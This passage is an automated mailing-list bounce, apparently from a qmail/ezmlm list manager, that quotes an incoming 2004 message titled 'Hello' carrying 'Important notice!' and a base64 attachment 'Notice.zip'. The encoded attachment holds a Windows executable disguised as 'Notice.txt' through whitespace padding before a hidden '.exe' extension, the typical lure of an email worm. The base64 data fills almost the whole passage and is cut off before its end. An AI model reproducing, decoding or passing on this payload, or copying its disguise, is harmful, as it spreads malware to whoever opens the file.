their content. Only the ADDRESS you send to is important. You can start a subscription for an alternate address, for example "john@host.domain", just add a hyphen and your address (with '=' instead of '@') after the command word: To stop subscription for this address, mail: In both cases, I'll send a confirmation message to that address. When you receive it, simply reply to it to complete your subscription. If despite following these instructions, you do not get the desired results, please contact my owner at bug-owner@ccvs.cvshome.org. Please be patient, my owner is a lot slower than I am ;-) --- Enclosed is a copy of the request I received. Return-Path: Received: (qmail 19209 invoked from network); 23 Apr 2004 04:06:35 -0000 Received: from unknown (HELO ccvs.cvshome.org) (61.247.254.29) by h68.sfo.collab.net with SMTP; 23 Apr 2004 04:06:35 -0000 From: xemacs-beta@xemacs.org To: bug-subscribe@ccvs.cvshome.org Subject: Hello Date: Fri, 23 Apr 2004 09:20:25 +0530 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0013_00007345.00006BC6" X-Priority: 1 X-MSMail-Priority: High This is a multi-part message in MIME format. ------=_NextPart_000_0013_00007345.00006BC6 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Important notice! ------=_NextPart_000_0013_00007345.00006BC6 Content-Type: application/octet-stream; name="Notice.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Notice.zip" UEsDBAoAAAAAAJ0dlzCNS0/3AFYAAABWAACTAAAATm90aWNlLnR4dCAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAuZXhlTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNh bm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACYCVAw3Gg+Y9xoPmPcaD5jX3Qw Y9BoPmM0dzRjxWg+Y19gY2PeaD5j3Gg+Y99oPmPcaD9jvmg+Y753LWPVaD5jNHc1Y9loPmNk bjhj3Wg+Y1JpY2jcaD5jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAgANW4VAAAAA AAAAAADgAA8BCwEGAABSAAAAKBwAAAAAAF8+AAAAEAAAAHAAAAAAQAAAEAAAAAIAAAQAAAAA AAAABAAAAAAAAAAAwB0AAAQAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAA AAAAAAAetRwAigAAAACwHAAKBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAACgHAAAEAAAAEQAAAAEAAAyQ0VQAAAAAAAAAAAg AADgLnJzcmMAAAAYBQEAALAcAAAOAAAASAAAAAAAAAAAAAAAAAAAIAAA4AAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAALnJzcmMAAAAAEAAAALAcAAAOAAAAhgAAAAAAAAAAAAAAAAAAIAAA 4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 